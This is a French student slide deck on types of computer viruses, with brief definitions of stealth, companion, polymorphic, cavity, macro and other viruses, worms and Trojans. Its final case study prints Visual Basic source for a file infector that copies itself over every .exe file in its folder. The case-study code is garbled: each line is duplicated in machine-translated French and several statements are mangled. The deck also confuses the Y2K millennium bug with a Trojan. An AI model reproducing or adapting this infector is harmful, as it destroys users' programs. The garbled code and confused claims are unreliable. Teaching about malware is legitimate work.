Projet d’outils de l’audit Sujet: Types de virus Groupe: M2SSICE G2 Travail réalisé par: AMARA Mohamed Mehdi MEJRI Firas MOHAMED Marwa RABEH Zied WESLETI Emna
Introduction Définition d’un virus informatique: logiciel malveillant s’insérant dans des logiciels légitimes (hôtes). Propagation à travers tout moyen d’échange de données numériques Virus informatique vers informatique
Types de virus (1/2) Type de propagation : - les virus furtifs - les virus compagnons - les virus souterrains - les virus polymorphes - les virus cavité - les virus blindés - les virus compte gouttes - les bombes ANSI
Types de virus (2/2) Vitesse de propagation: - les infecteurs normaux - les infecteurs rapides - les infecteurs lents - les infecteurs occasionnels - les vers informatiques - les chevaux de Troie - les macro virus
Les virus furtifs Dissimuler des modifications apportées aux fichiers ou aux secteurs boot. Duper les antivirus données saines lors de l'analyse Exemple: virus systèmes et virus applications (brain, frodo .. )
Les virus compagnons Créer un fichier copie ayant le même nom du fichier victime. Exécuter la version copie infectée au premier lieu. Indétectable par les vérificateurs d’intégrité.
Les virus souterrains Appeler directement des vecteurs d'interruptions DOS et BIOS . Détecter certains virus inconnus et non-détectables.
Les virus polymorphes Produire des copies variées opérationnelles de lui- même. Présenter différentes copies pour ne pas pouvoir détecter toutes les variantes . Modifier sa représentation lors du réplication.
Les virus cavité Ecraser une partie du fichier hôte contenant des constantes (généralement les 0). Ne pas augmenter la taille du fichier. Préserver la fonctionnalité du fichier.
Les virus blindés Utiliser des astuces spéciales pour ne pas comprendre son code. Utiliser des ruses techniques pour durcir son désassemblage.
Les infecteurs Les infecteurs rapides : infecter les programmes exécutés et ouverts. Les infecteurs lents : infecter les fichiers modifiés ou crées.
Les vers Informatiques Programme complet n’a pas besoin de programmes hôtes. Vers de stations de travail : contenu dans le système (lapin) Vers de réseaux : segment principal coordonnant les actions des autres segments (pieuvres)
Les virus compte gouttes Mécanisme d’injection de code du virus dans le code d’un programme. Elargissement de la taille du code du virus lors de l’exécution du programme.
Les macro virus Spécifiques à l’infection des documents non des programmes. Consacrés au version de systèmes d’exploitation (DOS, Macintosh). Exemple: Concept, Wazzu, Npad, Cap
Les infecteurs occasionnels Infection de manière irrégulière en réduisant la probabilité d’être découvert. Un mécanisme basé sur la fréquence d’infection
Les bombes ANSI Utiliser des Techniques de reprogrammation d'un clavier utilisé en mode console ANSI. Exemple: Readme ANSI Bomb, Die ANSI Bomb…
Les infecteurs normaux Infecter le programme ciblé en parallèle avec l’exécution de ce virus Exemple: Jerusalem
Les chevaux de Troie Trojan Horse : logiciel d’apparence légitime, conçu pour exécuter des actions à l’insu de l'utilisateur. Se propager facilement à d’autres programmes. Exemple: Back Orifice, Y3k Rat …
Exemple: Etude de cas pratique(0/5) Analyse fonctionnelle du virus y2k: Y2K (Y pour year, 2K pour 2000) fut le sigle américain le plus couramment employé pour désigner le problème d’un cheval de troie. Le terme millennium bug (« bogue du millénaire ») a aussi été utilisé aux États-Unis. Sur certains ordinateurs, le programme crashe avant de faire des dommages mais sur d´autres, il prétendra réparer des problèmes de l´An 2000 sur votre ordinateur alors qu´il réécrit le disque dur.
Exemple: Etude de cas pratique(1/5) Mode de fonctionnement du virus y2k (code source): - Définition des variables: Option Explicit Option Explicit Dim myarray() As Byte myarray Dim () As Byte Dim victim As String victime Dim As String Const mysize As Integer = 11776 mysize Const As Integer = 11776
Exemple: Etude de cas pratique(2/5) - Initialisation: Private Sub Form_Load() Private Sub Form_Load () On Error Resume Next On Error Resume Next Dim Free Dim gratuit Free = FreeFile Free = FreeFile
Exemple: Etude de cas pratique(3/5) - Extraire le code binaire de notre virus et le stocker dans la variable myaray: : Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read As Free //Free Open App.Path & "\" & App.EXEName & ". Exe" pour l'accès binaire ReDim myarray(mysize) ReDim MonTableau (mysize) //obtenir myarray Get 1, 1,Close Free
Exemple: Etude de cas pratique(4/5) - Définir la variable victime et mettre le code binaire dans le programme cible : victim = Dir(App.Path & "\" & "*.EXE") victime = Dir (App.Path & "\" & "*. exe") While victim <> "" Bien que victime <> "" Open App.Path & "\" & victim For Binary Access Write As Free //pour l’accès binaire Put 1, , myarray //mettre le code binaire dans le programme de la victime Put 1, , mysize Close Free
Exemple: Etude de cas pratique(5/5) - Mise à zéro de la victime et répétition de l'ensemble du processus d'infection de tous les fichiers « .exe » dans le répertoire courant: victim = Dir() victime = Dir () Wend Wend - Fermeture du programme et des sous dossiers: End End End Sub End Sub
Merci pour votre attention